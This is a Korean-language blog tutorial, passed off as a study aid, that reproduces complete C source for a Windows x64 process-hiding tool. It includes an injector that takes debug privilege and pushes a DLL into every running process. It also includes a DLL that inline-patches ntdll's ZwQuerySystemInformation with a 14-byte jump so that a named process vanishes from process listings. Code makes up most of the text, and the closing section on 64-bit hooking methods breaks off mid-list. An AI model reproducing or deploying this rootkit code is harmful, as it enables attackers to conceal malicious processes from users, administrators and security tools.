
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
{
printf("The token does not have the specified privilege. \n");
return FALSE;
}

return TRUE;
}

BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath)
{
HANDLE hProcess, hThread;
LPVOID pRemoteBuf;
DWORD dwBufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR);
LPTHREAD_START_ROUTINE pThreadProc;

if (!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)))
{
printf("OpenProcess(%d) failed!!!\n", dwPID);
return FALSE;
}

pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize,
MEM_COMMIT, PAGE_READWRITE);

WriteProcessMemory(hProcess, pRemoteBuf,
(LPVOID)szDllPath, dwBufSize, NULL);

pThreadProc = (LPTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(L"kernel32.dll"),
"LoadLibraryW");
hThread = CreateRemoteThread(hProcess, NULL, 0,
pThreadProc, pRemoteBuf, 0, NULL);
WaitForSingleObject(hThread, 1000);

VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);

CloseHandle(hThread);
CloseHandle(hProcess);

return TRUE;
}

BOOL EjectDll(DWORD dwPID, LPCTSTR szDllPath)
{
BOOL bMore = FALSE, bFound = FALSE;
HANDLE hSnapshot, hProcess, hThread;
MODULEENTRY32 me = { sizeof(me) };
LPTHREAD_START_ROUTINE pThreadProc;

if (INVALID_HANDLE_VALUE ==
(hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID)))
return FALSE;

bMore = Module32First(hSnapshot, &me);
for (; bMore; bMore = Module32Next(hSnapshot, &me))
{
if (!_tcsicmp(me.szModule, szDllPath) ||
!_tcsicmp(me.szExePath, szDllPath))
{
bFound = TRUE;
break;
}
}

if (!bFound)
{
CloseHandle(hSnapshot);
return FALSE;
}

if (!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)))
{
CloseHandle(hSnapshot);
return FALSE;
}

pThreadProc = (LPTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(L"kernel32.dll"),
"FreeLibrary");
hThread = CreateRemoteThread(hProcess, NULL, 0,
pThreadProc, me.modBaseAddr, 0, NULL);
WaitForSingleObject(hThread, INFINITE);

CloseHandle(hThread);
CloseHandle(hProcess);
CloseHandle(hSnapshot);

return TRUE;
}

BOOL InjectAllProcess(int nMode, LPCTSTR szDllPath)
{
DWORD dwPID = 0;
HANDLE hSnapShot = INVALID_HANDLE_VALUE;
PROCESSENTRY32 pe;

// Get the snapshot of the system
pe.dwSize = sizeof(PROCESSENTRY32);
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);

// find process
Process32First(hSnapShot, &pe);
do
{
dwPID = pe.th32ProcessID;

// 시스템의 안정성을 위해서
// PID 가 100 보다 작은 시스템 프로세스에 대해서는
// DLL Injection 을 수행하지 않는다.
if (dwPID < 100)
continue;

if (nMode == INJECTION_MODE)
InjectDll(dwPID, szDllPath);
else
EjectDll(dwPID, szDllPath);
} while (Process32Next(hSnapShot, &pe));

CloseHandle(hSnapShot);

return TRUE;
}

int _tmain(int argc, TCHAR* argv[])
{
int nMode = INJECTION_MODE;
HMODULE hLib = NULL;
PFN_SetProcName SetProcName = NULL;

if (argc != 4)
{
printf("\n Usage : HideProc.exe <-hide|-show> "\
"<process name> <dll path>\n\n");
return 1;
}

// change privilege
SetPrivilege(SE_DEBUG_NAME, TRUE);

// load library
hLib = LoadLibrary(argv[3]);

// set process name to hide
SetProcName = (PFN_SetProcName)GetProcAddress(hLib, "SetProcName");
SetProcName(argv[2]);

// Inject(Eject) Dll to all process
if (!_tcsicmp(argv[1], L"-show"))
nMode = EJECTION_MODE;

InjectAllProcess(nMode, argv[3]);

// free library
FreeLibrary(hLib);

return 0;
}

Stealth.dll -> stealth.cpp

실제 API 후킹을 당담하는 DLL 파일입니다.


SetProcName()

SetProcName 함수는 export 함수입니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// global variable (in sharing memory)
#pragma comment(linker, "/SECTION:.SHARE,RWS")
#pragma data_seg(".SHARE")
TCHAR g_szProcName[MAX_PATH] = { 0, };
#pragma data_seg()

// export function
#ifdef __cplusplus
extern "C" {
#endif
__declspec(dllexport) void SetProcName(LPCTSTR szProcName)
{
_tcscpy_s(g_szProcName, szProcName);
}
#ifdef __cplusplus
}
#endif

소스 코드를 보면, #pragma comment(linker, “/SECTION:.SHARE,RWS”) 전처리 구문을 통해서 “.SHARE”라는 데이터가 공유 가능한 메모리 섹션을 만들고, g_szProcName 버퍼를 생성을 한다는 것을 알 수 있습니다. 즉, 읽기, 쓰기, 공유 권한을 가진 데이터 섹션인 .SHARE를 만들어서 DLL 에 있는 데이터들을 공유할 때 사용하는 기법입니다. 이를 통해서 Stealth.dll이 모든 프로세스에 인젝션될 때 은폐 프로세스의 이름을 쉽게 공유할 수 있습니다.

#pragma comment() 전처리 구문을 통해서는 여러가지 일을 할 수 있습니다. 서브시스템을 설정한다거나 섹션을 설정한다거나 명시적으로 라이브러리를 링크한다거나 등을 할 수 있습니다. 프로젝트 관리에 들어가서 설정을 통해서 할 수 있는 부분들을 #pragma comment()를 통해서 편하게 설정을 할 수 있게 한 것입니다.

1
2
3
4
#pragma comment(linker, "/SECTION:.SHARE,RWS")
#pragma data_seg(".SHARE")
TCHAR g_szProcName[MAX_PATH] = { 0, };
#pragma data_seg()

다음 부분은 export 함수를 만드는 부분입니다. C++과 C는 네임맹글링(Name Mangling) 많은 차이가 있습니다. C언어의 네임맹글링은 _cdecl 방식으로 컴파일 되었을 경우 단순히 함수 이름 앞에 “언더바”를 붙여주거나, _stdcall 방식으로 컴파일 되었을 경우 함수 이름 앞에 “언더바”을 붙여주고 함수 이름 마지막에 “@ordinal”을 붙여주는 방식으로 컴파일이 됩니다. 그에 반면 C++은 컴파일마다 네임맹글링 하는 방식이 다르며, 네임맹글링 하는 방식이 다르면 DLL을 만들 때, 링킹을 할 수 없는 상황이 벌어지기도 합니다. 따라서 C++을 이용해서 DLL을 만들었다고 하더라도 C module과 C++ module의 호환성을 위해서 extern “C” 키워를 사용을 하는 것입니다.

해당 관련 문서는 이곳을 찾아보면 된다.

1
2
3
4
5
6
7
8
9
10
#ifdef __cplusplus
extern "C" {
#endif
__declspec(dllexport) void SetProcName(LPCTSTR szProcName)
{
_tcscpy_s(g_szProcName, szProcName);
}
#ifdef __cplusplus
}
#endif

DllMain()

다음은 DllMain() 함수입니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
char szCurProc[MAX_PATH] = {0,};
char *p = NULL;

// #1. 예외처리
// 현재 프로세스가 HookProc.exe 라면 후킹하지 않고 종료
GetModuleFileNameA(NULL, szCurProc, MAX_PATH);
p = strrchr(szCurProc, '\\');
if( (p != NULL) && !_stricmp(p+1, "HideProc.exe") )
return TRUE;

switch( fdwReason )
{
// #2. API Hooking
case DLL_PROCESS_ATTACH :
hook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION,
(PROC)NewZwQuerySystemInformation, g_pOrgBytes);
break;

// #3. API Unhooking
case DLL_PROCESS_DETACH :
unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION,
g_pOrgBytes);
break;
}

return TRUE;
}

코드를 보면, 문자열 비교를 통해 프로세스 이름이 “HookProc.exe” 인젝터라면 API 후킹하지 않도록 예외 처리를 하는 것을 알 수 있습니다. 그리고 DLL_PROCESS_ATACH 이벤트를 통해 hook_by_code() 함수로 API 후킹을 하고, unhook_by_code() 홤수를 통해 API 후킹을 해제하는 것을 볼 수 있습니다.

hook_by_code()

다음은 코드 패치 기법을 이용해서 API 후킹하는 함수입니다. x86비트에서 후킹 하는 방법은 Windows API Hooking Code Patch 글을 보면 된다. 현재 여기서는 코드를 살짝 수정해서 x64비트에서 API 후킹을 했습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
BYTE g_pOrgBytes[14] = { 0, };
BOOL hook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew, PBYTE pOrgBytes)
{
FARPROC pfnOrg;
DWORD dwOldProtect;
BYTE pBuf1[6] = { 0xFF, 0x25, 0x00, 0x00, 0x00, 0x00 };
BYTE pBuf2[8] = { 0, };
PBYTE pByte;

// 후킹 대상 API 주소를 구한다
pfnOrg = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
pByte = (PBYTE)pfnOrg;

// 만약 후킹되어 있다면 return FALSE
if (pByte[0] == 0xFF && pByte[1] == 0x25)
return FALSE;

// 기존코드 14바이트 백업 및 후킹 함수 시작 주소 구하기
memcpy(pOrgBytes, pfnOrg, 14);
memcpy(pBuf2, &pfnNew, 8);

// 14바이트 패치를 위하여 메모리에 Write 속성 추가
VirtualProtect((LPVOID)pfnOrg, 14, PAGE_EXECUTE_READWRITE, &dwOldProtect);

// Hook: 14바이트 패치
memcpy(pfnOrg, pBuf1, 6);
memcpy((LPVOID)((DWORD_PTR)pfnOrg + 6), pBuf2, 8);

// 메모리에 속성 복원
VirtualProtect((LPVOID)pfnOrg, 14, dwOldProtect, &dwOldProtect);

return TRUE;
}

Code Patch를 통해서 API 후킹할 떄, 32bit 환경에서는 JMP 명령어중 “E9 XXXXXXXX”를 사용 했었으면 되었습니다. 하지만 64bit 환경에서는 32bit 환경보다 가상메모리 공간이 훨씬 더 커지면서 해당 JMP 명령어를 통해서 후킹을 할 수가 없게 되었습니다. (32bit 가상메모리공간 -> 4GB, 64bit 가상메모리공간 -> 16TB)

따라서 새로운 방법을 찾아야 했는데, 그 중 한가지가 JMP 명령어중 “FF 25 XXXXXXXX”을 이용해서 패치하는 방식입니다. 이를 이용하면 8Byte 크기의 주소 공간을 이동할 수가 있습니다.

1
2
0x00007FFF 00000001 'FF 25 00000000' JMP QWORD PTR ds:[7FFF00000007] # JMP QWORD PTR [RIP+addr0]
0x00007FFF 00000007 'XXXXXXXX XXXXXXXX' # 후킹 함수 주소

FF25로 시작하는 JMP 명령어는 레지스터 RIP + offset(XXXXXXXX)을 더한 주소로 이동하는 방식입니다. 이를 통해서 RIP+offset(XXXXXXXX) 주소에다가 후킹 함수 주소를 넣음으로써, 후킹 함수로 이동하게 되는 테크닉입니다.

이외에도 여러가지 방법이 존재하는데, 다른 방법은 WindowsX64Hooking 글을 참고하면 됩니다.


unhook_by_code()

다음은 후킹을 해제하는 unhook_by_code() 함수입니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
BOOL unhook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PBYTE pOrgBytes)
{
FARPROC pfnOrg;
DWORD dwOldProtect;
PBYTE pByte;

// API 주소를 구한다.
pfnOrg = GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
pByte = (PBYTE)pfnOrg;

// 만약 이미 언후킹되어 있다면 FALSE
if (pByte[0] != 0xFF && pByte[1] != 0x25)
return FALSE;

// 기존 코드 14바이트를 덮어쓰기 위헤 메모리에 WRITE 속성 추가
VirtualProtect((LPVOID)pfnOrg, 14, PAGE_EXECUTE_READWRITE, &dwOldProtect);

// unHook: 14바이트 패치
memcpy(pfnOrg, pOrgBytes, 14);

// 메모리 속성 복원
VirtualProtect((LPVOID)pfnOrg, 14, dwOldProtect, &dwOldProtect);

return TRUE;
}

언훅의 동작 원리는 원래 코드의 14바이트를 복원을 하는 것입니다.


NewZwQuerySystemInformation()

다음은 후킹 함수 NewZwQuerySystemInformation() 입니다. 해당 함수의 동작원리를 알기 위해서는 ntdll.ZwQuerySystemInformation() API에 대해 먼저 알아야 합니다.

1
2
3
4
5
6
NTSTATUS WINAPI ZwQuerySystemInformation(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);

ntdll.ZwQuerySystemInformation() 은 지정된 시스템 정보를 검색하는데 사용하는 API 라고 합니다. 근데 Windows 8부터는 사용할 수 없다고 합니다. 하지만 Windows 10 64bit에서도 사용이 가능했습니다. 그 이유는 …? 새롭게 Windows 10 64bit에서 사용할 수 있게 하고 MSDN을 업데이트 하지 않은 것인가?

그리고 ntdll.ZwQuerySystemInformation() API의 MSDN 보다 ntdll.NtQuerySystemInformation() API의 MSDN에 내용이 더 자세합니다. 따라서 해당 함수를 이용할 때,
NtQuerySystemInformation - MSDN글 또한 참고하는 것이 좋은 것 같습니다.

Nt와 Zw의 차이점을 검색을 해보니 둘다 똑같은 커널 모드에서 동작하도록 설계된 루틴들의 집합체라고 합니다. 시스템콜, 즉 커널함수 라고 볼 수 있습니다. 예를 들어, CreateFile()을 호출을 하면, NtCreateFile() 또는 ZwCreateFile()을 내부적으로 호출을 하는 것입니다.

이러한 Native Service API들은 거의 동일한 동작을 수행한다고 합니다. 하지만, 커널 모드에서 파라미터들을 다루는 방식이 다르다고 합니다. 커널 모드에서 Zw루틴이 호출되면, 파라미터들이 이미 검증된 파라미터라고 생각하고 파라미터 검증과정을 건더뛰고 수행된다고 합니다. 반면에 Nt루틴이 호출되면, 유저모드이건 커널모드이건 Nt루틴 내부적으로 파리미터를 검증한느 과정을 거치고 호출이 되는 방식이라고 합니다.

참고한 부분은 참고 자료에도 링크를 걸었습니다. 다음은 함수 파라미터에 대한 설명입니다.

  • SystemInformationClass

검색 할 시스템 정보의 종류를 나타내는 SYSTEM_INFORMATION_CLASS에 열겨된 값중 하나를 지정합니다. SystemBasicInformation, SystemCodeIntegrityInformation, SystemProcessInformation 등 여러가지가 있다. 더 자세한 사항은 MSDN을 참고 하면 됩니다.

여기서 사용할 값은 SystmeProcessInformation 입니다. 해당 값을 지정하면, 시스템에서 실행중인 각 프로세스마다 하나씩 SYSTEM_PROCESS_INFORMATION 구조체 배열을 리턴합니다. 해당 구조체에는 프로세스에 사용된 스레드 및 핸들 수, peak 페이지 파일 사용량 및 프로세스가 할당 한 메모리 페이지 수를 포함하여 각 프로세스의 자원 사용량에 대한 정보가 포함된다고 합니다.

  • SystemInformation

요청된 정보를 받는 버퍼에 대한 포인터를 지정합니다. 해당 파라미터는 SystemInformationClass 파라미터에서 어떤 시스템 종류를 나타낼지 선택한 거에 따라서 달라집니다.

SystemProcessInformation을 선택했다면, 해당 파리미터는 각각의 프로세스를 위한 프로세스 정보를 가지고 있는 SYSTEM_PROCESS_INFORMATION 구조체를 가지고 있다고 합니다. 또한 SYSTEM_THREAD_INFORMATION 구조체 메모리로 이어질 수 있다고 합니다. 즉, 프로세스 정보 뿐만 아니라 쓰레드 정보 뿐만 얻을 수 있습니다.

그리고, SystemInformation 파라미터가 가라키는 버퍼가 실행중인 프로세스 및 스레드 만큼 많은 SYSTEM_PROCESS_INFORMATION 및 SYSTEM_THREAD_INFORMATION 구조체를 포함하는 배열을 보유할 수 있을 정도로 커야한다는 점에서 SystemInformation 파라미터에 SYSTEM_PROCESS_INFORMATION 구조체가 배열처럼 쭈욱 기다랗게 연결되어 있다는 것을 알 수 있습니다.

ZwQuerySystemInformation 과 NtQuerySystemInformation에서의 SYSTEM_PROCESS_INFORMATION의 레이아웃이 다르므로 MSDN을 참고하셔야 합니다. ZwQuerySystemInformation의 SYSTEM_PROCESS_INFORMATION 은 다음과 같습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset;
ULONG NumberOfThreads;
BYTE Reserved1[48];
PVOID Reserved2[3];
HANDLE UniqueProcessId;
PVOID Reserved3;
ULONG HandleCount;
BYTE Reserved4[4];
PVOID Reserved5[11];
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
LARGE_INTEGER Reserved6[6];
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
  • SystemInformationLength

해당 파라미터는 SystemInformation 파라미터가 가리키는 버퍼 크기를 지정하면 됩니다.

  • ReturnLength

요정된 정보의 실제 크기를 반환 받고 싶을 때, 선택적으로 사용하는 파라미터입니다. 반환 값이 SystemInformationLength 파라미터 보다 작거나 같은 경우, 데이터를 SystemInformation 버퍼에 복사를 하고, 그렇지 않을 경우 NTSTATUS 오류 코드를 반환하고 요청된 데이터를 받는데 필요한 크기를 ReturnLength에 반환을 한다고 합니다.


즉, 책에서 설명했던 것처럼 ZwQuerySystemInformation() API를 호출할 때, SystemInformationClass 파라미터를 SystemProcessInformation(enum 값 : 5) 과 SystemInformationLength 파라미터에 충분한 크기를 입력하면, SystemInformation[inout] 파라미터에 SYSTEM_PROCESS_INFORMATION 구조체 싱글 링크드 리스트의 시작 주소가 저장된다는 것이 이해가 됩니다. 근데 해당 구조체내의 다음 구조체를 가리키는 값이 포인터가 아니고 NextEntryOffset 더해서 다음 구조체를 가리키는 것을 보아 연결 리스트가 아니라 배열 형태로 이루어진게 아닐까 생각이 듭니다. 배열 형태로 이루어진 것을 연결 리스트로 구현한 것처럼 다루는 느낌이 들었습니다. 그리고 해당 구조체 연결 리스트에 실행 중인 모든 프로세스의 정보가 담겨 있다는 것도 이해가 됩니다.

그래서 은폐하고 싶은 프로세스에 해당 하는 리스트 멤버를 찾아서 연결을 끊어버리면, 해당 항목이 유실되어있기 때문에 프로세스 검색 유틸리티가 CreateToolhelp32Snapshot() 또는 EnumProcesses() API를 통해서 은폐 프로세스에 대한 정보를 검색할 수 없게 되어서 자기 자신을 숨길 수 있게 되는 것입니다.

다음은 NewZwQuerySystemInformation() 소스 코드입니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
NTSTATUS WINAPI NewZwQuerySystemInformation(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength)
{
NTSTATUS status;
FARPROC pFunc;
PSYSTEM_PROCESS_INFORMATION pCur, pPrev = { 0, };
char szProcName[MAX_PATH] = { 0, };

// 작업 전에 unhook
unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION, g_pOrgBytes);

// original API 호출
pFunc = GetProcAddress(GetModuleHandleA(DEF_NTDLL),
DEF_ZWQUERYSYSTEMINFORMATION);
status = ((PFZWQUERYSYSTEMINFORMATION)pFunc)
(SystemInformationClass, SystemInformation,
SystemInformationLength, ReturnLength);

if (status != STATUS_SUCCESS)
goto __NTQUERYSYSTEMINFORMATION_END;

// SystemProcessInformation 인 경우만 작업함
if (SystemInformationClass == SystemProcessInformation)
{
// SYSTEM_PROCESS_INFORMATION 타입 캐스팅
// pCur 는 single linked list 의 head
pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;

while (TRUE)
{
// 프로세스 이름 비교
// g_szProcName = 은폐하려는 프로세스 이름
// (=> SetProcName() 에서 세팅됨)
if (pCur->Reserved2[1] != NULL)
{
if (!_tcsicmp((PWSTR)pCur->Reserved2[1], g_szProcName))
{
// 연결 리스트에서 은폐 프로세스 제거
if (pCur->NextEntryOffset == 0)
pPrev->NextEntryOffset = 0;
else
pPrev->NextEntryOffset += pCur->NextEntryOffset;
}
else
pPrev = pCur;
}

if (pCur->NextEntryOffset == 0)
break;

// 연결 리스트의 다음 항목
pCur = (PSYSTEM_PROCESS_INFORMATION)
((DWORD_PTR)pCur + pCur->NextEntryOffset);
}
}

__NTQUERYSYSTEMINFORMATION_END:

// 함수 종료 전에 다시 API Hooking
hook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION,
(PROC)NewZwQuerySystemInformation, g_pOrgBytes);

return status;
}

후킹 함수 NewZwQuerySystemInformation()의 로직은 주석 처리가 되있어서 알아보기 쉽게 되어 있습니다. 또한 자료구조 연결 리스트를 구현해본 경험이 있다면, 그렇게 어렵지 않은 코드인 것 같습니다.

먼저, 언훅을 통해서 원본 ZwQuerySystemInformation() API로 돌려놓고, 해당 API를 호출을 합니다. 호출을 통해서 얻은 SystemProcessInformation 구조체를 연결 리스트 형식으로 검사하면서 은폐 시키고 싶은 프로세스 이름을 찾습니다. 찾았다면 SystemProcessInformation 구조체 연결을 끊어버립니다. 그리고 나서 후킹을 다시 걸고 status(NTSTATUS) 값을 반환해주면 됩니다.


Stealth.cpp 소스코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
#include "windows.h"
#include "tchar.h"

#define STATUS_SUCCESS (0x00000000L)

typedef LONG NTSTATUS;

typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemProcessInformation = 5,
SystemProcessorPerformanceInformation = 8,
SystemInterruptInformation = 23,
SystemExceptionInformation = 33,
SystemRegistryQuotaInformation = 37,
SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;

typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset;
ULONG NumberOfThreads;
BYTE Reserved1[48];
PVOID Reserved2[3];
HANDLE UniqueProcessId;
PVOID Reserved3;
ULONG HandleCount;
BYTE Reserved4[4];
PVOID Reserved5[11];
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
LARGE_INTEGER Reserved6[6];
} SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION;

typedef NTSTATUS(WINAPI* PFZWQUERYSYSTEMINFORMATION)
(SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);

#define DEF_NTDLL ("ntdll.dll")
#define DEF_ZWQUERYSYSTEMINFORMATION ("ZwQuerySystemInformation")


// global variable (in sharing memory)
#pragma comment(linker, "/SECTION:.SHARE,RWS")
#pragma data_seg(".SHARE")
TCHAR g_szProcName[MAX_PATH] = { 0, };
#pragma data_seg()

// global variable
BYTE g_pOrgBytes[14] = { 0, };


BOOL hook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew, PBYTE pOrgBytes)
{
FARPROC pfnOrg;
DWORD dwOldProtect;
BYTE pBuf1[6] = { 0xFF, 0x25, 0x00, 0x00, 0x00, 0x00 };
BYTE pBuf2[8] = { 0, };
PBYTE pByte;

// 후킹 대상 API 주소를 구한다
pfnOrg = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
pByte = (PBYTE)pfnOrg;

// 만약 후킹되어 있다면 return FALSE
if (pByte[0] == 0xFF && pByte[1] == 0x25)
return FALSE;

// 기존코드 14바이트 백업 및 후킹 함수 시작 주소 구하기
memcpy(pOrgBytes, pfnOrg, 14);
memcpy(pBuf2, &pfnNew, 8);

// 14바이트 패치를 위하여 메모리에 Write 속성 추가
VirtualProtect((LPVOID)pfnOrg, 14, PAGE_EXECUTE_READWRITE, &dwOldProtect);

// Hook: 14바이트 패치
memcpy(pfnOrg, pBuf1, 6);
memcpy((LPVOID)((DWORD_PTR)pfnOrg + 6), pBuf2, 8);

// 메모리에 속성 복원
VirtualProtect((LPVOID)pfnOrg, 14, dwOldProtect, &dwOldProtect);

return TRUE;
}


BOOL unhook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PBYTE pOrgBytes)
{
FARPROC pfnOrg;
DWORD dwOldProtect;
PBYTE pByte;

// API 주소를 구한다.
pfnOrg = GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
pByte = (PBYTE)pfnOrg;

// 만약 이미 언후킹되어 있다면 FALSE
if (pByte[0] != 0xFF && pByte[1] != 0x25)
return FALSE;

// 기존 코드 14바이트를 덮어쓰기 위헤 메모리에 WRITE 속성 추가
VirtualProtect((LPVOID)pfnOrg, 14, PAGE_EXECUTE_READWRITE, &dwOldProtect);

// unHook: 14바이트 패치
memcpy(pfnOrg, pOrgBytes, 14);

// 메모리 속성 복원
VirtualProtect((LPVOID)pfnOrg, 14, dwOldProtect, &dwOldProtect);

return TRUE;
}


NTSTATUS WINAPI NewZwQuerySystemInformation(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength)
{
NTSTATUS status;
FARPROC pFunc;
PSYSTEM_PROCESS_INFORMATION pCur, pPrev = { 0, };
char szProcName[MAX_PATH] = { 0, };

// 작업 전에 unhook
unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION, g_pOrgBytes);

// original API 호출
pFunc = GetProcAddress(GetModuleHandleA(DEF_NTDLL),
DEF_ZWQUERYSYSTEMINFORMATION);
status = ((PFZWQUERYSYSTEMINFORMATION)pFunc)
(SystemInformationClass, SystemInformation,
SystemInformationLength, ReturnLength);

if (status != STATUS_SUCCESS)
goto __NTQUERYSYSTEMINFORMATION_END;

// SystemProcessInformation 인 경우만 작업함
if (SystemInformationClass == SystemProcessInformation)
{
// SYSTEM_PROCESS_INFORMATION 타입 캐스팅
// pCur 는 single linked list 의 head
pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;

while (TRUE)
{
// 프로세스 이름 비교
// g_szProcName = 은폐하려는 프로세스 이름
// (=> SetProcName() 에서 세팅됨)
if (pCur->Reserved2[1] != NULL)
{
if (!_tcsicmp((PWSTR)pCur->Reserved2[1], g_szProcName))
{
// 연결 리스트에서 은폐 프로세스 제거
if (pCur->NextEntryOffset == 0)
pPrev->NextEntryOffset = 0;
else
pPrev->NextEntryOffset += pCur->NextEntryOffset;
}
else
pPrev = pCur;
}

if (pCur->NextEntryOffset == 0)
break;

// 연결 리스트의 다음 항목
pCur = (PSYSTEM_PROCESS_INFORMATION)
((DWORD_PTR)pCur + pCur->NextEntryOffset);
}
}

__NTQUERYSYSTEMINFORMATION_END:

// 함수 종료 전에 다시 API Hooking
hook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION,
(PROC)NewZwQuerySystemInformation, g_pOrgBytes);

return status;
}


BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
char szCurProc[MAX_PATH] = { 0, };
char* p = NULL;

// #1. 예외처리
// 현재 프로세스가 HookProc.exe 라면 후킹하지 않고 종료
GetModuleFileNameA(NULL, szCurProc, MAX_PATH);
p = strrchr(szCurProc, '\\');
if ((p != NULL) && !_stricmp(p + 1, "HideProc.exe"))
return TRUE;

switch (fdwReason)
{
// #2. API Hooking
case DLL_PROCESS_ATTACH:
hook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION,
(PROC)NewZwQuerySystemInformation, g_pOrgBytes);
break;

// #3. API Unhooking
case DLL_PROCESS_DETACH:
unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION,
g_pOrgBytes);
break;
}

return TRUE;
}


#ifdef __cplusplus
extern "C" {
#endif
__declspec(dllexport) void SetProcName(LPCTSTR szProcName)
{
_tcscpy_s(g_szProcName, szProcName);
}
#ifdef __cplusplus
}
#endif

실행 결과


마지막으로..

여기까지가 코드 패치를 통한 스텔스 프로세스를 구현하는 기법에 대한 내용이었습니다. 다음번 포스팅에서는 글로벙 API 후킹을 통해서 앞서 언급했던 문제점을 해결할 것입니다.


참고자료

CreateToolhelp32Snapshot()

EnumProcesses()

https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-waitforsingleobject]

extern “C”

Nt와 Zw Native Routine의 차이점

Nt/Zw Native API의 차이점

Code Patch를 통해서 API 후킹을 할 떄, 32bit 환경에서는 JMP Instruction 중 “E9 XXXXXXXX”를 사용하면 됬었다. 하지만 64bit 환경에서는 32bit 환경보다 가상메모리 공간이 훨씬더 커지면서 “E9 XXXXXXXX”을 이용해서는 안정적으로 후킹을 할 수가 없게 되었다. (32bit 가상메모리공간 -> 4GB, 64bit 가상메모리공간 -> 16TB)

따라서 64bit 환경에서는 32bit 환경에서 했던 것처럼 Code Patch를 하지 못한다. 다른 방법을 사용을 해야 한다. 64bit 환경에서 후킹 할 수 있는 방법을 찾는대로 계속 꾸준히 업데이트를 할 계획이다. 하지만 찾은 방법들이 안정적인지는 잘 모르겠다.

후킹 방법 목록

다음 항목들은 64bit에서 후킹할 수 있는 방법들이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 첫번째 방법 -> 14 바이트
0x00007FFF 00000001 'FF 25 00000000' JMP QWORD PTR ds:[7FFF00000007] # JMP QWORD PTR [RIP+addr0]
0x00007FFF 00000007 'XXXXXXXX XXXXXXXX' # 후킹 함수 주소

# 두번째 방법 -> 12 바이트
